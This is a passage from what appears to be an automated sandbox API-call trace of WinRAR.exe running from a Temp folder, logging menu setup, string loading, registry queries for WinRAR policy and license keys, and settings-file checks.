fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10262, item=0xc, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10262, item=0xd, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10262, item=0xe, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10262, item=0xe, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10262, item=0xf, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 0 [0058.475] GetMenuItemInfoW (in: hmenu=0x10260, item=0x1, fByPosition=1, lpmii=0xe414f99b0 | out: lpmii=0xe414f99b0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10260, item=0x1, fByPositon=1, lpmii=0xe414f99b0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x0, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10266, item=0x0, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x1, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10266, item=0x1, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x2, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10266, item=0x2, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x3, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x4, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10266, item=0x4, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x5, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10266, item=0x5, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x6, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10266, item=0x6, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x7, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.475] SetMenuItemInfoW (hmenu=0x10266, item=0x7, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.475] GetMenuItemInfoW (in: hmenu=0x10266, item=0x8, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10266, item=0x9, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10266, item=0x9, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10266, item=0xa, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10266, item=0xa, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10266, item=0xb, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10266, item=0xb, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10266, item=0xc, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10266, item=0xc, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10266, item=0xd, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 0 [0058.476] GetMenuItemInfoW (in: hmenu=0x10260, item=0x2, fByPosition=1, lpmii=0xe414f99b0 | out: lpmii=0xe414f99b0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10260, item=0x2, fByPositon=1, lpmii=0xe414f99b0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x0, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10268, item=0x0, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x1, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x2, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10268, item=0x2, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x3, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10268, item=0x3, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x4, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10268, item=0x4, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x5, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] SetMenuItemInfoW (hmenu=0x10268, item=0x5, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x6, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.476] GetMenuItemInfoW (in: hmenu=0x10268, item=0x7, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x10268, item=0x7, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x10268, item=0x8, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x10268, item=0x8, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x10268, item=0x9, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x10268, item=0x9, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x10268, item=0xa, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x10268, item=0xa, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x10268, item=0xb, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 0 [0058.477] GetMenuItemInfoW (in: hmenu=0x10260, item=0x3, fByPosition=1, lpmii=0xe414f99b0 | out: lpmii=0xe414f99b0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x10260, item=0x3, fByPositon=1, lpmii=0xe414f99b0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026a, item=0x0, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x1026a, item=0x0, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026a, item=0x1, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x1026a, item=0x1, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026a, item=0x2, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026a, item=0x3, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 0 [0058.477] GetMenuItemInfoW (in: hmenu=0x10260, item=0x4, fByPosition=1, lpmii=0xe414f99b0 | out: lpmii=0xe414f99b0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x10260, item=0x4, fByPositon=1, lpmii=0xe414f99b0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x0, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x1026c, item=0x0, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x1, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x1026c, item=0x1, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026e, item=0x0, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x1026e, item=0x0, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.477] GetMenuItemInfoW (in: hmenu=0x1026e, item=0x1, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.477] SetMenuItemInfoW (hmenu=0x1026e, item=0x1, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x1026e, item=0x2, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x1026e, item=0x3, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x1026e, item=0x3, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x1026e, item=0x4, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 0 [0058.478] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x2, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x3, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x1026c, item=0x3, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10270, item=0x0, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x10270, item=0x0, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10270, item=0x1, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10270, item=0x2, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x10270, item=0x2, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10270, item=0x3, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x10270, item=0x3, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10270, item=0x4, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 0 [0058.478] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x4, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x1026c, item=0x4, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10272, item=0x0, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x10272, item=0x0, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10272, item=0x1, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x10272, item=0x1, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10272, item=0x2, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 0 [0058.478] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x5, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x1026c, item=0x5, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10274, item=0x0, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x10274, item=0x0, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.478] GetMenuItemInfoW (in: hmenu=0x10274, item=0x1, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.478] SetMenuItemInfoW (hmenu=0x10274, item=0x1, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10274, item=0x2, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10274, item=0x3, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x10274, item=0x3, fByPositon=1, lpmii=0xe414f7430) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10274, item=0x4, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 0 [0058.479] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x6, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x1026c, item=0x6, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10276, item=0x0, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10276, item=0x1, fByPosition=1, lpmii=0xe414f7430 | out: lpmii=0xe414f7430) returned 0 [0058.479] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x7, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x8, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x1026c, item=0x8, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x1026c, item=0x9, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x1026c, item=0x9, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x1026c, item=0xa, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 0 [0058.479] GetMenuItemInfoW (in: hmenu=0x10260, item=0x5, fByPosition=1, lpmii=0xe414f99b0 | out: lpmii=0xe414f99b0) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x10260, item=0x5, fByPositon=1, lpmii=0xe414f99b0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10278, item=0x0, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x10278, item=0x0, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10278, item=0x1, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10278, item=0x2, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x10278, item=0x2, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10278, item=0x3, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10278, item=0x4, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 1 [0058.479] SetMenuItemInfoW (hmenu=0x10278, item=0x4, fByPositon=1, lpmii=0xe414f86f0) returned 1 [0058.479] GetMenuItemInfoW (in: hmenu=0x10278, item=0x5, fByPosition=1, lpmii=0xe414f86f0 | out: lpmii=0xe414f86f0) returned 0 [0058.479] GetMenuItemInfoW (in: hmenu=0x10260, item=0x6, fByPosition=1, lpmii=0xe414f99b0 | out: lpmii=0xe414f99b0) returned 0 [0058.479] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x438, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="site name") returned 0x9 [0058.479] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x43a, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="site name 2") returned 0xb [0058.479] GetLastError () returned 0x5b0 [0058.479] SetLastError (dwErrCode=0x5b0) [0058.479] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f9fb0 | out: phkResult=0xe414f9fb0*=0x0) returned 0x2 [0058.480] GetLastError () returned 0x5b0 [0058.480] SetLastError (dwErrCode=0x5b0) [0058.480] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa780 | out: phkResult=0xe414fa780*=0x0) returned 0x2 [0058.480] SetMenu (hWnd=0x1025a, hMenu=0x10260) returned 1 [0058.480] NtdllDefWindowProc_W () returned 0x0 [0058.480] NtdllDefWindowProc_W () returned 0x0 [0058.480] NtdllDefWindowProc_W () returned 0x1 [0058.482] NtdllDefWindowProc_W () returned 0x0 [0058.499] NtdllDefWindowProc_W () returned 0x0 [0058.500] NtdllDefWindowProc_W () returned 0x0 [0058.500] NtdllDefWindowProc_W () returned 0x0 [0058.500] NtdllDefWindowProc_W () returned 0x0 [0058.500] NtdllDefWindowProc_W () returned 0x0 [0058.501] NtdllDefWindowProc_W () returned 0x0 [0058.501] NtdllDefWindowProc_W () returned 0x0 [0058.501] IsIconic (hWnd=0x1025a) returned 0 [0058.501] IsIconic (hWnd=0x1025a) returned 0 [0058.501] IsIconic (hWnd=0x1025a) returned 0 [0058.504] NtdllDefWindowProc_W () returned 0x1 [0058.504] NtdllDefWindowProc_W () returned 0x0 [0058.504] NtdllDefWindowProc_W () returned 0x0 [0058.504] NtdllDefWindowProc_W () returned 0x0 [0058.505] DrawMenuBar (hWnd=0x1025a) returned 1 [0058.505] NtdllDefWindowProc_W () returned 0x0 [0058.505] NtdllDefWindowProc_W () returned 0x0 [0058.505] NtdllDefWindowProc_W () returned 0x1 [0058.505] NtdllDefWindowProc_W () returned 0x0 [0058.506] NtdllDefWindowProc_W () returned 0x1 [0058.506] GetLastError () returned 0xb7 [0058.506] SetLastError (dwErrCode=0xb7) [0058.506] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f9fb0 | out: phkResult=0xe414f9fb0*=0x0) returned 0x2 [0058.506] GetLastError () returned 0xb7 [0058.506] SetLastError (dwErrCode=0xb7) [0058.506] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa780 | out: phkResult=0xe414fa780*=0x0) returned 0x2 [0058.506] GetLastError () returned 0xb7 [0058.506] SetLastError (dwErrCode=0xb7) [0058.506] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f9fb0 | out: phkResult=0xe414f9fb0*=0x0) returned 0x2 [0058.506] GetLastError () returned 0xb7 [0058.506] SetLastError (dwErrCode=0xb7) [0058.506] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa780 | out: phkResult=0xe414fa780*=0x0) returned 0x2 [0058.506] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8) returned 0x1ec0a5a6870 [0058.506] RegisterDragDrop (hwnd=0x1025a, pDropTarget=0x1ec0a5a6870) returned 0x0 [0060.613] GetLocalTime (in: lpSystemTime=0x7ff6f7619cd0 | out: lpSystemTime=0x7ff6f7619cd0*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x17, wMinute=0xd, wSecond=0x26, wMilliseconds=0x65)) [0060.613] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f5ac0 | out: phkResult=0xe414f5ac0*=0x0) returned 0x2 [0060.613] SHGetMalloc (in: ppMalloc=0xe414f5a60 | out: ppMalloc=0xe414f5a60*=0x7ff92fcdf3f0) returned 0x0 [0060.613] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xe414f5aa8 | out: ppidl=0xe414f5aa8) returned 0x0 [0060.613] SHGetPathFromIDListW (in: pidl=0x1ec0a64c150, pszPath=0xe414f7bb0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.613] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.613] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1ec0a64c150) [0060.613] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0xe414f4860 | out: lpFindFileData=0xe414f4860) returned 0xffffffffffffffff [0060.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0xe414f4860 | out: lpFindFileData=0xe414f4860) returned 0xffffffffffffffff [0060.614] GetLastError () returned 0x2 [0060.614] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe414f7bb0, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0060.614] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0xe414f4860 | out: lpFindFileData=0xe414f4860) returned 0xffffffffffffffff [0060.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0xe414f4860 | out: lpFindFileData=0xe414f4860) returned 0xffffffffffffffff [0060.614] GetLastError () returned 0x2 [0060.614] GetLastError () returned 0x2 [0060.614] SetLastError (dwErrCode=0x2) [0060.614] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f8f10 | out: phkResult=0xe414f8f10*=0x0) returned 0x2 [0060.614] GetLastError () returned 0x2 [0060.614] SetLastError (dwErrCode=0x2) [0060.614] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f8ed0 | out: phkResult=0xe414f8ed0*=0x2f0) returned 0x0 [0060.614] RegQueryValueExW (in: hKey=0x2f0, lpValueName="rarkey", lpReserved=0x0, lpType=0xe414f9334, lpData=0xe414f9c10, lpcbData=0xe414f9330*=0x1000 | out: lpType=0xe414f9334*=0x0, lpData=0xe414f9c10*=0x0, lpcbData=0xe414f9330*=0x1000) returned 0x2 [0060.614] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.616] GetCurrentProcess () returned 0xffffffffffffffff [0060.616] GetCurrentThread () returned 0xfffffffffffffffe [0060.616] GetPriorityClass (hProcess=0xffffffffffffffff) returned 0x20 [0060.616] GetThreadPriority (hThread=0xfffffffffffffffe) returned 0 [0060.616] GetLastError () returned 0x2 [0060.616] SetLastError (dwErrCode=0x2) [0060.616] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc4f0 | out: phkResult=0xe414fc4f0*=0x2f0) returned 0x0 [0060.616] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Priority", lpReserved=0x0, lpType=0xe414fc954, lpData=0xe414fc950, lpcbData=0xe414fc988*=0x4 | out: lpType=0xe414fc954*=0x0, lpData=0xe414fc950*=0x1, lpcbData=0xe414fc988*=0x4) returned 0x2 [0060.616] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.616] SetPriorityClass (hProcess=0xffffffffffffffff, dwPriorityClass=0x20) returned 1 [0060.616] SetThreadPriority (hThread=0xfffffffffffffffe, nPriority=0) returned 1 [0060.616] GetLastError () returned 0x2 [0060.616] SetLastError (dwErrCode=0x2) [0060.616] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9c40 | out: phkResult=0xe414f9c40*=0x2f0) returned 0x0 [0060.616] RegQueryValueExW (in: hKey=0x2f0, lpValueName="rarreg.key", lpReserved=0x0, lpType=0xe414fa0a4, lpData=0xe414fb980, lpcbData=0xe414fa0a0*=0x1000 | out: lpType=0xe414fa0a4*=0x0, lpData=0xe414fb980*=0x0, lpcbData=0xe414fa0a0*=0x1000) returned 0x2 [0060.616] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.616] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f73d0 | out: phkResult=0xe414f73d0*=0x0) returned 0x2 [0060.617] SHGetMalloc (in: ppMalloc=0xe414f7370 | out: ppMalloc=0xe414f7370*=0x7ff92fcdf3f0) returned 0x0 [0060.617] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xe414f73b8 | out: ppidl=0xe414f73b8) returned 0x0 [0060.617] SHGetPathFromIDListW (in: pidl=0x1ec0a64c150, pszPath=0xe414f7580 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.617] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.617] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1ec0a64c150) [0060.617] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f7360 | out: phkResult=0xe414f7360*=0x0) returned 0x2 [0060.617] SHGetMalloc (in: ppMalloc=0xe414f7300 | out: ppMalloc=0xe414f7300*=0x7ff92fcdf3f0) returned 0x0 [0060.617] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xe414f7348 | out: ppidl=0xe414f7348) returned 0x0 [0060.617] SHGetPathFromIDListW (in: pidl=0x1ec0a64c150, pszPath=0xe414f7580 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.617] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.617] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1ec0a64c150) [0060.617] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0060.617] 